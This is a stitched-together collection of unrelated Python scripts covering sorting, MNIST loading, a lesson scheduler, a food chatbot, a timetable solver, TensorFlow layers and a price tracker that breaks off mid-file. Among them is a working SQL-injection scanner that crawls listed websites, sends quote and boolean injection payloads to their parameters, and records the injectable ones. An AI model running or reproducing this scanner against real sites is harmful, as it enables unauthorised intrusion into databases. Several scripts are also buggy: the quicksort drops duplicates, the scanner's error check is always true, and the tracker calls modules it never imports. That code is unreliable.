# !/usr/bin/python
# coding:utf-8
# author:bicycle

"""

快速排序一听名字就觉得很高端，在实际应用当中快速排序确实也是表现最好的排序算法。冒泡排序虽然高端，但其实其思想是来自冒泡排序，冒泡排序是通过相邻元素的比较和交换把最小的冒泡到最顶端，而快速排序是比较和交换小数和大数，这样一来不仅把小数冒泡到上面同时也把大数沉到下面。

举个栗子：对5,3,8,6,4这个无序序列进行快速排序，思路是右指针找比基准数小的，左指针找比基准数大的，交换之。

5,3,8,6,4 用5作为比较的基准，最终会把5小的移动到5的左边，比5大的移动到5的右边。

5,3,8,6,4 首先设置i,j两个指针分别指向两端，j指针先扫描（思考一下为什么？）4比5小停止。然后i扫描，8比5大停止。交换i,j位置。

5,3,4,6,8 然后j指针再扫描，这时j扫描4时两指针相遇。停止。然后交换4和基准数。

4,3,5,6,8 一次划分后达到了左边比5小，右边比5大的目的。之后对左右子序列递归排序，最终得到有序序列。

上面留下来了一个问题为什么一定要j指针先动呢？首先这也不是绝对的，这取决于基准数的位置，因为在最后两个指针相遇的时候，要交换基准数到相遇的位置。一般选取第一个数作为基准数，那么就是在左边，所以最后相遇的数要和基准数交换，那么相遇的数一定要比基准数小。所以j指针先移动才能先找到比基准数小的数。

快速排序是不稳定的，其时间平均时间复杂度是O(nlgn)。

"""
import numpy

def quick_sort(array:list):
	result = array.copy()
	lenth = len(array)
	 # 假设第一个数不用排序

	if lenth <= 1:
	 	return array
	else:
	 	privot = array[0]
	 	greater = [element for element in array[1:] if element > privot]
	 	lesser = [element for element in array[1:] if element < privot]
	 	return quick_sort(lesser) + [privot] + quick_sort(greater)

	return result

def main():
	array = numpy.random.randint(100000, size=100000)
	#print(array)
	print(quick_sort(array))

if __name__ == '__main__':
	main()


import numpy as np
import os.path
from struct import unpack
import sys
if sys.version_info[0] < 3:
    import cPickle as pickle
else:
    import pickle

'''
Random constant current input
N: size of array
p: probability of index having input
I_inp: strength of current
'''
def get_rand_I(N, p, I_inp):
    I = np.random.random(N)
    I[I > p] = 0
    I[np.nonzero(I)] = I_inp
    return I

'''
A time dependent function - will need to use a network_operation in training and test script
@network_operation(dt)
def f(t):
    stuff you want it to do
tr
    rise time, include time units (i.e. 1*ms)
    must be defined in run script
tf
    fall time, include time units
    must be defined in run script
width
    how long the current should be at max input
    must be defined in run script
max_inp
    max input, include units
    must be defined in runscript
    can just provide units if intensity of current is set by the active variable
'''
def get_gradual_current():
    I = '2*(0.5*(1-tanh(-3.5*(t-tstart)/tr)) - 0.5)*0.5*(1-tanh(-3.5*(width+tr-(t-tstart))/tf))*max_inp'
    return I

'''
MNIST helper function to load and unpack MNIST data.  To run you need to download
the MNIST dataset from http://yann.lecun.com/exdb/mnist/.

picklename: name of file to write/read data from
MNIST_data_path: path to the MNIST data folder
bTrain: if tr
'''
def get_labeled_data(picklename, MNIST_data_path, bTrain = True):
    """Read input-vector (image) and target class (label, 0-9) and return
       it as list of tuples.
    """
    if os.path.isfile('%s.pickle' % picklename):
        data = pickle.load(open('%s.pickle' % picklename, 'rb'))#, encoding='utf-8')
    else:
        # Open the images with gzip in read binary mode
        if bTrain:
            images = open(MNIST_data_path + 'train-images.idx3-ubyte','rb')
            labels = open(MNIST_data_path + 'train-labels.idx1-ubyte','rb')
        else:
            images = open(MNIST_data_path + 't10k-images.idx3-ubyte','rb')
            labels = open(MNIST_data_path + 't10k-labels.idx1-ubyte','rb')
        # Get metadata for images
        images.read(4)  # skip the magic_number
        number_of_images = unpack('>I', images.read(4))[0]
        rows = unpack('>I', images.read(4))[0]
        cols = unpack('>I', images.read(4))[0]
        # Get metadata for labels
        labels.read(4)  # skip the magic_number
        N = unpack('>I', labels.read(4))[0]

        if number_of_images != N:
            raise Exception('number of labels did not match the number of images')
        # Get the data
        x = np.zeros((N, rows, cols), dtype=np.uint8)  # Initialize numpy array
        y = np.zeros((N, 1), dtype=np.uint8)  # Initialize numpy array
        for i in range(N):
            if i % 1000 == 0:
                print("i: %i" % i)
            x[i] = [[unpack('>B', images.read(1))[0] for unused_col in range(cols)]  for unused_row in range(rows) ]
            y[i] = unpack('>B', labels.read(1))[0]

        data = {'x': x, 'y': y, 'rows': rows, 'cols': cols}
        pickle.dump(data, open("%s.pickle" % picklename, "wb"), -1)
    return data


#IMPORTAR LIBRERIA XML y asignarle nombre#
import xml.etree.cElementTree as ET
#importar el archivo XML y guardarlo en variables globales
tree = ET.parse('menu.xml')
root = tree.getroot()

menu = {}
nombrePlato = "Nombre plato: "
precioPlato = "Precio: "
for child in root:
	nombreYprecio = {}
	nombreYprecio[child.find('name').text]=child.find("price").text
	menu.update(nombreYprecio)
	print (nombrePlato + child.find('name').text + ", " + precioPlato + child.find("price").text)

##CASOS TEST##
if __name__ == "__main__":
####POSTCONDICION####
	if len(menu) == 5:
		print ("TEST OK!!!")

Acceso a datos/XML y DOM/mostrar_Menu/mostrarMenu.py


import argparse

# create a new parser
_PARSER = argparse.ArgumentParser()

# register optional flag for --clean-log, truncating existing log file and starting a new blank one.
_PARSER.add_argument("--clean-log",
                     help="Start with a clean log file. Deletes any existing log data.",
                     action="store_true")

# register optional argument for the config file
_PARSER.add_argument("--config-file", "--config", "-c",
                     help="Specify the configuration file to load, relative to config/",
                     default="configuration.toml")

# register optional flag for verbose logging
_PARSER.add_argument("--verbose", "-v",
                     help="Enable verbose logging. Earmuffs sold separately",
                     action="store_true")
_PARSER.add_argument("--trace",
                     help="Trace logging, overrides verbose. Earmufs required beyond this point.",
                     action="store_true")
# register optional no color flag to remove ANSI coding in logs.
_PARSER.add_argument("--nocolors", "--nc",
                     help="Disable ANSI color coding. For people who hate fun.",
                     action="store_true")

# expose the parser function, since parsing it ourselves is a no-no
GET_ARGUMENTS = _PARSER.parse_args
"""
callable returning a parsed argument namespace

Note:
    This is a callable to prevent muckery during startup
"""


import json
from datetime import datetime         #our dependencies
from pytz import timezone
from calendar import day_name
import os

cursedLessons = ("Germana", "Informatica", "Engleza")

def get_all():

    Moldova = timezone("Europe/Chisinau")

    now = datetime.now(Moldova).strftime("%H:%M")     # we find the time and transform it to a H:M format
    today = datetime.now(Moldova)
    today = day_name[today.weekday()]
    #today = "Friday"
    #now = datetime.strptime("09:30", "%H:%M").strftime("%H:%M")

    currentLesson = ""
    nextLesson = ""

    currentLessonName = ""
    nextLessonName = ""                         #varibles

    currentLessonLink = ""
    nextLessonLink = ""

    with open("time.json") as json_file:        #with is used so that the file is closed after is has been used
        data = json.load(json_file)             # we load the json into the data variable as a dict
        for i in data:                          #loop through the elements

            lesson = data[i]                    #lesson will be equal to "lesson1, lesson2.."

            #we take the string(ex: "13:25") from the the objects start_time and finish-time that are a part of the lesson dict(ex: "lesson3") and turn it into a time object of the format H:M
            start = datetime.strptime(lesson["start-time"], "%H:%M").strftime("%H:%M")
            finish = datetime.strptime(lesson["finish-time"], "%H:%M").strftime("%H:%M")

            if now < start:
                nextLesson = data[i]["order-nr"]
                currentLesson = 0
                break
            elif start <= now and finish >= now:
                currentLesson = data[i]["order-nr"]
                if data[i]["order-nr"] <= 6:
                    nextLesson = data[i]["order-nr"] + 1
                else:
                    nextLesson = 0
                break
            else:
                currentLesson = 0
                nextLesson = 0

    with open("lessons.json") as json_file:
        data = json.load(json_file)
        try:
            if currentLesson != 0:
                currentLessonName = data[today][f"lesson{currentLesson}"]["object"]
            elif currentLesson == 0:
                    currentLessonName = "Free Time"
        except:
            currentLessonName = "Free Time"
        try:
            if nextLesson != 0:
                nextLessonName = data[today][f"lesson{nextLesson}"]["object"]
            elif nextLesson == 0:
                nextLessonName = "Free Time"
        except:
            nextLessonName = "Free Time"

    try:
        if currentLessonName in cursedLessons:
            currentLessonLink = (f"<{os.getenv(currentLessonName + '1')}>", f"<{os.getenv(currentLessonName + '2')}>")
        elif currentLesson != 0:
            currentLessonLink = f"<{os.getenv(currentLessonName)}>"
        else:
            currentLessonLink = "There is no limk for now, be back later :)"
        if currentLessonLink == "<None>":
            currentLessonLink = "There seems to be no link for this lesson. Check studii.md or viber group"
    except:
        currentLessonLink = "There is no limk for now, be back later :)"
    try:
        if nextLessonName in cursedLessons:
            nextLessonLink = (f"<{os.getenv(nextLessonName + '1')}>", f"<{os.getenv(nextLessonName + '2')}>")
        elif nextLesson != 0:
            nextLessonLink = f"<{os.getenv(nextLessonName)}>"
        else:
            nextLessonLink = "There is no limk for now, be back later :)"
        if nextLessonLink == "<None>":
            nextLessonLink = "There seems to be no link for this lesson. Check studii.md or viber group"
    except:
        nextLessonLink = "There is no limk for now, be back later :)"

    #print(currentLesson)
    #print(currentLessonName)
    #print(currentLessonLink)
    #print(nextLesson)
    #print(nextLessonName)
    #print(nextLessonLink)

    return currentLessonName, currentLessonLink, nextLessonName, nextLessonLink,


# This will give you access to the random module or library.
# choice() will randomly return an element in a list.
# Read more: https://pynative.com/python-random-choice/

from random import choice

# Combine functions and conditionals to get a response from the bot
def get_food_bot_response(user_response):
    # Bot reponses for cuisines
    bot_response_chinese = ['Hotpot!', 'Dumplings!', 'Peking Roasted Duck!', 'Chow Mein!', 'Steamed Vermicelli Rolls!']
    bot_response_italian = ['Lasagna', 'Risotto!', 'Truffles!', 'Gelato!', 'Pizza!']
    bot_response_mexican = ['Horchate!', 'Chicken Tamales!', 'Chilaquiles!', 'Tostadas!', 'Enchiladas!']
    bot_response_japanese = ['Sushi!', 'Tempura!', 'Tofu!', 'Ramen!', 'Udon!']

    # choice() randomly returns a response from a list
    if user_response == "Chinese":
        return choice(bot_response_chinese)
    elif user_response == "Italian":
        return choice(bot_response_italian)
    elif user_response == "Mexican":
        return choice(bot_response_mexican)
    elif user_response == "Japanese":
        return choice(bot_response_japanese)
    elif user_response == "done":
        return "See you next meal!"
    else:
        return "Sorry, I don't know that cuisine."

# Title and instructions of chat bot
print("~~~~ Welcome to Food Bot ~~~~")
print("- We reccommend dishes in a specfic cuisine you enter in, an example of a cuisine would be 'Chinese'.")
print("- If you're finished, type in 'done'.")

# Stores an empty string so we assign a value later
user_response = ""

# Keeps repeating and asking 'What cuisine are you craving right now?:' while user_response is not equal to 'done'
# When user_response is equal to 'done', the loop ends
while user_response != "done":
    user_response = input("What cuisine are you craving right now?: ")
    bot_response = get_food_bot_response(user_response)
    print(bot_response)


from collections import defaultdict, Counter
import random

class BasicSolver(object):
    """BasicSolver is a basic "abstract" like class, that defines the interface"""

    def __init__(self, sessions, rooms, timeslots, cmp_func, desires):
        self.get_rank = cmp_func
        self.desires = desires
        self.rooms = rooms
        self.sessions = sessions
        self.timeslots = timeslots

    def solve(self, args=None):
        """solve(self, sessions, rooms, timeslots, args=None)

        sessions        is a dict where the keys are the session names
                        and the values are lists of the session host.
                        {"session1": ["host1", "host2"], "session2": ["host1"]}

        rooms           is a dict where the keys are unique room identifiers
                        and the values are dicts that still need to be defined.
                        {"room1": ..., "room2": ...}

        timeslots       is a dict where the keys are unique timeslot identifiers
                        and the values are dict that still need to be defined.
                        {"timeslot1": ..., "timeslot2": ...}

        desires         is a dict where the keys are unique names of guests
                        and the values are lists of sessions ordered by the
                        importance. The most important sessions appear first
                        (have a smaller index). The list contains only sessions
                        where the user is interested in.
                        {
                            "user1": [
                                "important session",
                                "less important session",
                                ...,
                                "least important session"
                            ],
                            "user2": ["important session"]
                        }

        returns a solution
                        a solution is a dict where the keys are session_names
                        and the values are tuples of timeslot_names and room_names
                        {"session1": ("timeslot1", "room2"),
                         "session2": ("timeslot2", "room2")}
        """
        raise NotImplemented("You need to implemt the solve function before you use it")

    def get_random_solution(self):
        """get_random_solution(self)

        Helper function that returns a random solution for a timetable.
        It is guaranteed that there are not two talks by the same person
        in the same timeslot. But it is not guaranteed that one person is
        able to present all of his talks.

        returns a solution
        """
        user_to_slot = defaultdict(set)
        booked = defaultdict(list)
        room_names = list(self.rooms.keys())
        session_names = list(self.sessions.keys())
        timeslot_names = list(self.timeslots.keys())
        solution = {}

        def get_random_timeslot_room_for_users(users):
            blocked_timeslots = set()
            for user in users:
                blocked_timeslots = blocked_timeslots.union(user_to_slot[user])
            slots_to_choose_from = list(set(timeslot_names) - blocked_timeslots)
            if not slots_to_choose_from:
                # This set of users cannot give a talk together
                # We don't want to stop the building process yet
                # so we just return None, None
                return None, None
            timeslot_name = random.choice(slots_to_choose_from)
            room_name = room_names[len(booked[timeslot_name])]
            booked[timeslot_name].append(room_name)
            if len(booked[timeslot_name]) == len(room_names):
                # clean up, we cannot use this time slot anylonger
                timeslot_names.remove(timeslot_name)
            return timeslot_name, room_name

        while session_names:
            session_name = session_names.pop(
                random.randrange(0, len(session_names))
            )
            users = self.sessions[session_name]
            try:
                solution[session_name] = get_random_timeslot_room_for_users(users)
            except IndexError:
                # we have more sessions than timeslots
                break
        return solution

    def get_most_missed_sessions(self, solution):
        """returns a list sessions sorted the amount of people who want to attend
        but would miss it with the current solution"""

        missed_sessions = []
        for user, sessions in self.desires.items():
            blocked_timeslots = []
            for session, point in zip(sessions,
                # we ignore each miss after the timeslots
                # TODO FIXME make this variable for number of timeslots
                [8, 7, 6, 5, 4, 3, 2, 1]
            ):
                slot, room = solution[session]
                if slot not in blocked_timeslots:
                    blocked_timeslots.append(slot)
                else:
                    missed_sessions.append(session)

        miss_counter = Counter(missed_sessions)

        return miss_counter.most_common()


#coding = utf-8
#__author = h4ckg3h2y1 for python3
#nano urllists.txt sql_url
import re
import requests
import time
from bs4 import BeautifulSoup as asp
import random
import os
time.sleep(8)
headeraa = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)',}
zhaohan = open('mINJlogo.txt','a+')
zhaohan8 = open('INJ.txt','a+')
huixian1 = "is not a valid MySQL result resource"
huixian2 = "ODBC SQL Server Driver"
huixian3 = "Warning:ociexecute"
huixian4 = "Warning: pq_query[function.pg-query]"
huixian5 = "You have an error in your SQL syntax"
huixian6 = "Database Engine"
huixian7 = "Undefined variable"
huixian8 = "on line"
hansb = open('urllist.txt','r')
hanssb = hansb.readlines()
hansb.close()
ttzh = str(time.ctime())
zhzhzh = open('url.txt','a+')
for urllists in hanssb:
    urllistx = urllists.strip('\n')
    print(urllistx)
    time.sleep(3)
    try:
        sss5 = []
        bingasp = []
        bingphp = []
        bingaspx = []
        bingjsp = []
        han = requests.get(url=urllistx,headers=headeraa,timeout=10)
        print(han.status_code)
        print('Waiting...........................')
        soup = asp(han.content)
        hrefs = soup.find_all(href=re.compile(r'asp\?'))
        for href in hrefs:
            href = href.get('href')
            if 'http' in href:
                bingasp.append(href)
            else:
                sss5.append(href)

        hrefs = soup.find_all(href=re.compile(r'php\?'))
        for href in hrefs:
            href = href.get('href')
            if 'http' in href:
                bingphp.append(href)
            else:
                sss5.append(href)

        hrefs = soup.find_all(href=re.compile(r'aspx\?'))
        for href in hrefs:
            href = href.get('href')
            if 'http' in href:
                bingaspx.append(href)
            else:
                sss5.append(href)

        hrefs = soup.find_all(href=re.compile(r'jsp\?'))
        for href in hrefs:
            href = href.get('href')
            if 'http' in href:
                bingjsp.append(href)
            else:
                sss5.append(href)
    except:
        print('connect time out')
    finally:
            try:
                bingphp1 = bingphp[0:3]
                for bingphp2 in bingphp1:
                                         zhzhzh.write(bingphp2 + '\n')
                bingaspx1 = bingaspx[0:3]
                for bingaspx2 in bingaspx1:
                                         zhzhzh.write(bingaspx2 + '\n')
                bingasp1 = bingasp[0:3]
                for bingasp2 in bingasp1:
                                         zhzhzh.write(bingasp2 + '\n')
                bingjsp1 = bingjsp[0:3]
                for bingjsp2 in bingjsp1:
                                         zhzhzh.write(bingjsp2 + '\n')
                sss4 = random.sample(sss5,4)
                for sss3 in sss4:
                                 zhzhzh.write(urllistx + sss3 + '\n')
            except:
                print('rxxr')
zhzhzh.close()
zhaohan1 = open('url.txt','r')
zhaohan2 = zhaohan1.readlines()
zhaohan1.close()
zhaohan.write('-------------------------------------------------LOGO-------------------------------------------------' + '\n')
headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.92 Safari/537.1 LBBROWSER'}
def attack(urlx):
    payload0 = urlx + "'"
    try:
        r1 = requests.get(url = payload0,headers=headers,allow_redirects = False,timeout = 6)
        if r1.status_code == 200:
                print(str("********************开始第一重扫描验证********************",'gbk'))
                time.sleep(1)
        if huixian1 or huixian2 or huixian3 or huixian4 or huixian5 or huixian6 or huixian7 or huixian8 in str(r1.content):
            print(str("[+]单引号显错注入启动.......",'gbk'))
            print(r1.status_code)
            print(r1.headers)
            time.sleep(1)
            print(str("[+]尝试在页面中寻找可能出现的数据库报错语句......",'gbk'))
            time.sleep(1)
            print(r1.content)
            zhaohan.write('第一重验证通过：   ' + payload0 + ' ' + ttzh + '\n')
        if r1.status_code != 200:
                print(str("[+]页面被跳转或页面发生错误，不能检测是否存在注入...",'gbk'))
    except:
        print(str('''
            该网站已经无法正常访问，重复以下步骤即可轻松解决:
         1.拔掉网线
         2.连上邻居老王家的WIFI
         3.轻轻抚弄路由器
         4.切换代理IP
         5.重复以上步骤并站起来做一套全国人民广播体操
        ''','gbk'))
        time.sleep(2)
    print(str("=====================第一重扫描已扫描完毕=====================",'gbk'))
    time.sleep(1)

def attack2(urlx):
    payload0 = urlx + "%20%61%4e%64%20%38%3d%38"
    global att2s
    global att2c
    try:
        r2 = requests.get(url = payload0,headers=headers,allow_redirects = False,timeout = 6)
        if r2.status_code == 200:
                print(str("********************开始第二重扫描验证********************",'gbk'))
                time.sleep(1)
        if huixian1 or huixian2 or huixian3 or huixian4 or huixian5 or huixian6 or huixian7 or huixian8 in str(r2.content):
            print(str("[+]同数字型显错注入启动.......",'gbk'))
            print(r2.status_code)
            print(r2.headers)
            att2s = r2.status_code
            att2c = r2.content
            time.sleep(1)
            print(str("[+]尝试在页面中寻找可能出现的数据库报错语句......",'gbk'))
            time.sleep(1)
            print(r2.content)
            zhaohan.write('第二重验证通过：   ' + payload0 + ' ' + ttzh + '\n')
        if r2.status_code != 200:
                print(str("[+]页面被跳转或页面发生错误，不能检测是否存在注入...",'gbk'))
    except:
        print(str('''
            该网站已经无法正常访问，重复以下步骤即可轻松解决:
         1.拔掉网线
         2.连上邻居老王家的WIFI
         3.轻轻抚弄路由器
         4.切换代理IP
         5.重复以上步骤并站起来做一套全国人民广播体操
        ''','gbk'))
        time.sleep(2)
    print(str("=====================第二重扫描已扫描完毕=====================",'gbk'))
    time.sleep(1)

def attack3(urlx):
    payload0 = urlx + "%20%61%4e%64%20%38%3d%39"
    global att3s
    global att3c
    try:
        r3 = requests.get(url = payload0,headers=headers,allow_redirects = False,timeout = 6)
        if r3.status_code == 200:
                print(str("********************开始第三重扫描验证********************",'gbk'))
                time.sleep(1)
        if huixian1 or huixian2 or huixian3 or huixian4 or huixian5 or huixian6 or huixian7 or huixian8 in str(r3.content):
            print(str("[+]异数字型显错注入启动.......",'gbk'))
            print(r3.status_code)
            print(r3.headers)
            att3s = r3.status_code
            att3c = r3.content
            time.sleep(1)
            print(str("[+]尝试在页面中寻找可能出现的数据库报错语句......",'gbk'))
            time.sleep(1)
            print(r3.content)
            zhaohan.write('第三重验证通过：   ' + payload0 + ' ' + ttzh + '\n')
        if r3.status_code != 200:
                print(str("[+]页面被跳转或页面发生错误，不能检测是否存在注入...",'gbk'))
    except:
        print(str('''
            该网站已经无法正常访问，重复以下步骤即可轻松解决:
         1.拔掉网线
         2.连上邻居老王家的WIFI
         3.轻轻抚弄路由器
         4.切换代理IP
         5.重复以上步骤并站起来做一套全国人民广播体操
        ''','gbk'))
        time.sleep(2)
    print(str("=====================第三重扫描已扫描完毕=====================",'gbk'))
    time.sleep(1)

def attack4(urlx):
    payload0 = urlx + "%%20%27%20%61%4e%64%20%27%38%27%3d%27%38"
    global att4s
    global att4c
    try:
        r4 = requests.get(url = payload0,headers=headers,allow_redirects = False,timeout = 6)
        if r4.status_code == 200:
                print(str("********************开始第四重扫描验证********************",'gbk'))
                time.sleep(1)
        if huixian1 or huixian2 or huixian3 or huixian4 or huixian5 or huixian6 or huixian7 or huixian8 in str(r4.content):
            print(str("[+]同字符串显错注入启动.......",'gbk'))
            print(r4.status_code)
            print(r4.headers)
            att4s = r4.status_code
            att4c = r4.content
            time.sleep(1)
            print(str("[+]尝试在页面中寻找可能出现的数据库报错语句......",'gbk'))
            time.sleep(1)
            print(r4.content)
            zhaohan.write('第四重验证通过：   ' + payload0 + ' ' + ttzh + '\n')
        if r4.status_code != 200:
                print(str("[+]页面被跳转或页面发生错误，不能检测是否存在注入...",'gbk'))
    except:
        print(str('''
            该网站已经无法正常访问，重复以下步骤即可轻松解决:
         1.拔掉网线
         2.连上邻居老王家的WIFI
         3.轻轻抚弄路由器
         4.切换代理IP
         5.重复以上步骤并站起来做一套全国人民广播体操
        ''','gbk'))
        time.sleep(2)
    print(str("=====================第四重扫描已扫描完毕=====================",'gbk'))
    time.sleep(1)

def attack5(urlx):
    payload0 = urlx + "%20%27%20%61%4e%64%20%27%38%27%3d%27%39"
    global att5s
    global att5c
    try:
        r5 = requests.get(url = payload0,headers=headers,allow_redirects = False,timeout = 6)
        if r5.status_code == 200:
                print(str("********************开始第五重扫描验证********************",'gbk'))
                time.sleep(1)
        if huixian1 or huixian2 or huixian3 or huixian4 or huixian5 or huixian6 or huixian7 or huixian8 in str(r5.content):
            print(str("[+]异字符串显错注入启动.......",'gbk'))
            print(r5.status_code)
            print(r5.headers)
            att5s = r5.status_code
            att5c = r5.content
            time.sleep(1)
            print(str("[+]尝试在页面中寻找可能出现的数据库报错语句......",'gbk'))
            time.sleep(1)
            print(r5.content)
            zhaohan.write('第五重验证通过：   ' + payload0 + ' ' + ttzh + '\n')
        if r5.status_code != 200:
                print(str("[+]页面被跳转或页面发生错误，不能检测是否存在注入...",'gbk'))
    except:
        print(str('''
            该网站已经无法正常访问，重复以下步骤即可轻松解决:
         1.拔掉网线
         2.连上邻居老王家的WIFI
         3.轻轻抚弄路由器
         4.切换代理IP
         5.重复以上步骤并站起来做一套全国人民广播体操
        ''','gbk'))
        time.sleep(2)
    print(str("=====================第五重扫描已扫描完毕=====================",'gbk'))
    time.sleep(1)
    try:
        if int(att2s) == int(att3s) == 200 and str(att2c) != str(att3c):
            zhaohan8.write(urlx + '\n')
        if int(att4s) == int(att5s) == 200 and str(att4c) != str(att5c):
                zhaohan8.write(urlx + '\n')
    except:
        print('none')
        pass
for ios in zhaohan2:
    urlx = ios.strip('\n')
    attack(urlx)
    attack2(urlx)
    attack3(urlx)
    attack4(urlx)
    attack5(urlx)
zhaohan8.close()
zhaohan.close()
os.remove('url.txt')


import tensorflow as tf
import numpy as np

def clip_by_value_with_gradient(x, l=-1., u=1.):
    clip_up = tf.cast(x > u, tf.float32)
    clip_low = tf.cast(x < l, tf.float32)
    # if the difference between x and l or u is smaller than the precision,
    # the following may cause the result to be 0 or 2*u
    return x + tf.stop_gradient((u - x)*clip_up + (l - x)*clip_low)

def lstm_layer(name, X, in_channels, out_filters, batch_size=None, sequence_length_tensor=None,
               initializer=tf.truncated_normal_initializer(0.0, 0.01)):
    if len(X.shape) != 2 or X.shape[1] != in_channels:
        X = tf.reshape(X, [-1, in_channels])
    with tf.variable_scope(name):
        if sequence_length_tensor is None:
            sequence_length_tensor = tf.placeholder(tf.float32, [None], name="seq_len")
        cell = tf.nn.rnn_cell.LSTMCell(out_filters, state_is_tuple=True, initializer=initializer)

        c = tf.placeholder(tf.float32, [None, cell.state_size.c], name="state_c")
        h = tf.placeholder(tf.float32, [None, cell.state_size.h], name="state_h")
        init_state = tf.nn.rnn_cell.LSTMStateTuple(c, h)

        if batch_size is None:
            if sequence_length_tensor is None:
                batch_size = 1
            else:
                with tf.name_scope("batch_size"):
                    batch_size = tf.shape(sequence_length_tensor)[0]

        with tf.variable_scope("seq_batch"):
            X = tf.reshape(X, [batch_size, -1, in_channels])
        Y, state = tf.nn.dynamic_rnn(cell, X,
                                     initial_state=init_state,
                                     sequence_length=sequence_length_tensor,
                                     time_major=False)
    return tf.reshape(Y, [-1, out_filters]), (state, (c, h))

def conv_layer(name, X, in_channels, out_filters, ksize, stride,
               activator,
               # tf.variance_scaling_initializer
               # tf.truncated_normal_initializer(0.0, 0.01)
               # tf.orthogonal_initializer
               # tf.glorot_uniform_initializer()
               weight_initializer,
               bias_initializer=tf.constant_initializer(0.0),
               padding="SAME", trainable=True):
    if not hasattr(ksize, "__len__"):
        ksize = [ksize, ksize]
    if not hasattr(stride, "__len__"):
        stride = [stride, stride]
    if len(X.shape) == 2:
        X = tf.reshape(X, [-1, 1, X.shape[1], 1])
        in_channels = 1
    else:
        assert(len(X.shape) == 4)
    with tf.variable_scope(name):
        if callable(weight_initializer):
            try:
                weight_initializer = weight_initializer()
            except:
                pass
        w_shape = [ksize[0], ksize[1], in_channels, out_filters]
        w = tf.get_variable("weight", w_shape, tf.float32,
                            weight_initializer, trainable=trainable)
        Y = tf.nn.conv2d(X, w, [1, stride[0], stride[1], 1], padding)
        if bias_initializer is not None:
            if callable(bias_initializer):
                try:
                    bias_initializer = bias_initializer()
                except:
                    pass
            b = tf.get_variable("bias", [out_filters], tf.float32,
                                bias_initializer,
                                trainable=trainable)
            Y = tf.add(Y, b)
            if activator is not None:
                Y = activator(Y)
    return Y

def fc_layer(name, X, in_channels, out_filters,
             activator,
             # tf.variance_scaling_initializer
             # tf.truncated_normal_initializer(0.0, 0.01)
             # tf.orthogonal_initializer(),
             # tf.glorot_uniform_initializer()
             weight_initializer,
             bias_initializer=tf.constant_initializer(0.0),
             trainable=True):
    if X.shape.ndims != 2 or X.shape[1] != in_channels:
        X = tf.reshape(X, [-1, in_channels])
    with tf.variable_scope(name):
        if callable(weight_initializer):
            if weight_initializer == tf.orthogonal_initializer:
                weight_initializer = tf.orthogonal_initializer(np.sqrt(2) if activator == tf.nn.relu else 1)
            else:
                try:
                    weight_initializer = weight_initializer()
                except:
                    pass
        w = tf.get_variable("weight", [in_channels, out_filters], tf.float32,
                            weight_initializer,
                            trainable=trainable)
        Y = tf.matmul(X, w)
        if bias_initializer is not None:
            if callable(bias_initializer):
                try:
                    bias_initializer = bias_initializer()
                except:
                    pass
            b = tf.get_variable("bias", [out_filters], tf.float32,
                                bias_initializer,
                                trainable=trainable)
            Y = tf.add(Y, b)
            if activator is not None:
                Y = activator(Y)
    return Y


import json
import datetime
import time
import Amazon_scrap
import Flipkart_scrap
import ebay_scrap
import os
import smtplib

Sender_email = "___Your email Id goes here___"

Email_Pass = "___The password goes here___"

# Stored_Time.json file will store the time when to run the script next
with open('Stored_Time.json', 'r') as json_file:
    data = json.load(json_file)

date_time_obj = datetime.datetime.strptime(data['time'], '%Y-%m-%d %H:%M:%S.%f')

run = True

if datetime.datetime.now() < date_time_obj:
    run = False

choice = int(input("Enter 1 to run the script or 2 to enter the data: "))

if choice == 2:

    run = True
    ch = int(input("Enter your choice [1] Amazon [2] Flipkart [3] ebay: "))
    url = input("Enter the product url: ")
    price_req = float(input("Enter the desired price: "))
    email_id = input("Enter your E-mail Id: ")

    if ch == 1:
        product_name = Amaze_scrap.get_product_name_from_amaze(url)
    elif ch == 2:
        product_name = Flip_scrap.get_product_name_from_flip(url)
    else:
        product_name = eba_scrap.get_product_name_from_eba(url)

    # Read from the file
    try:
        # with open('Details.json', 'r') as json_file:
        #    data = json.load(json_file)
        data = []
        dict1 = {'website': ch, 'url': url, 'product_name': product_name, 'Email_Id': email_id, 'desired_price': price_req}

        data.append(dict1)

        # Write to the file
        with open('Details.json', 'w') as json_file:
            json.dump(data, json_file)

    except Exception:
        data = []
        dict1 = {'website': ch, 'url': url, 'product_name': product_name, 'Email_Id': email_id, 'desired_price': price_req}
        data.append(dict1)

        # Write to the file
        with open('Details.json', 'w') as json_file:
            json.dump(data, json_file)

while 1:
    if run:

        try:
            # Read from the file
            with open('Details.json', 'r') as json_file:
                data = json.load(json_file)

            f = 0

            # Run the loop here
            for i in range(len(data)):
                f = 1
                url = data[i]['url']
                website = data[i]['website']

                if website == 1:  # Amazon
                    price = Amaze_scrap.get_product_price_from_amaze(url)
                elif website == 2:  # Flipkart
                    price = Flip_scrap.get_product_price_from_flip(url)
                else:  # ebay
                    price = eba_scrap.get_product_price_from_eba(url)

                num_str = ""

                for j in range(len(price)):
                    if (price[j] >= '0' and price[j] <= '9') or price[j] == '.':
                        num_str += price[j]

                p_price = float(num_str)
                # print(p_price)

                # Send email here
                if p_price <= data[i]['desired_price']:

                    site_name = ''
                    if website == 1:
                        site_name = 'Amazon'
                    elif website == 2:
                        site_name = 'Flipkart'
                    else:
                        site_name = 'ebay'

                    pro_name = data[i]['product_name']

                    receiver_email = data[i]['Email_Id']

                    with smtplib.SMTP('smtp.gmail.com', 587) as smtp:
                        smtp.ehlo()
                        smtp.starttls()
                        smtp.ehlo()

                        smtp.login(Sender_email, Email_Pass)

                        subject = 'Product available within your desired price.'

                        body = f'Dear user,\n\nWe found that {site_name} is providing the following product that you desired ' \
                               f'within your desired price range. The information of the product is given below:\n\n' \
                               f'Product Name: {pro_name}\nProduct Price: {price}\nURL: {url}\n\n' \
                               f'Regards,\nFlibazon Price Tracker.'

                        msg = f'Subject: {subject}\n\n{body}'

                        # Format of sending email ---> smtp.sendmail(SENDER, RECEIVER, message)
                        smtp.sendmail(Sender_email, receiver_email, msg.encode('utf8'))

                    data.pop(i)
                    i -= 1
                    with open('Details.json', 'w') as file:
                        json.dump(data, file)

            # The iteration through data structure ends here
            new_run_time = datetime.datetime.now() + datetime.timedelta(hours=12)

            dict1 = {'time': str(new_run_time)}

            with open('Stored_Time.json', 'w') as file:
